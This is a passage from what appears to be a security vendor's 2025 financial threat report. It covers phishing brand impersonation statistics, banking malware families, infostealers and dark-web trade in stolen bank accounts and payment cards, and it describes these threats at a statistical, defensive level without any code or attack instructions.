TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)

Attackers actively localize their tactics to maximize relevance and effectiveness.

The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.

Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.

However, this balance shifts significantly at the regional level.

In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.

Distribution of financial phishing pages by category and region, 2025 (download)

Online shopping scams

The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.

Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)

Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.

Payment system phishing

Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.

TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)

Financial malware

In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.

Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)

Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.

In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.

There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.

Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.

Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.

Financial cyberthreats on the dark web

The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.

Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.

With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.

Compromised accounts

Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.

The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.

The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.

TOP 10 countries with the highest compromised account median (download)

Compromised payment cards

Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.

It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.

Data breaches

Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.

It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.

Sale of bank accounts and payment cards

The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.

Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.

Compiled databases

Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.

Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.

Creation of phishing websites

Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.

In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.

Conclusion

The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.

Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.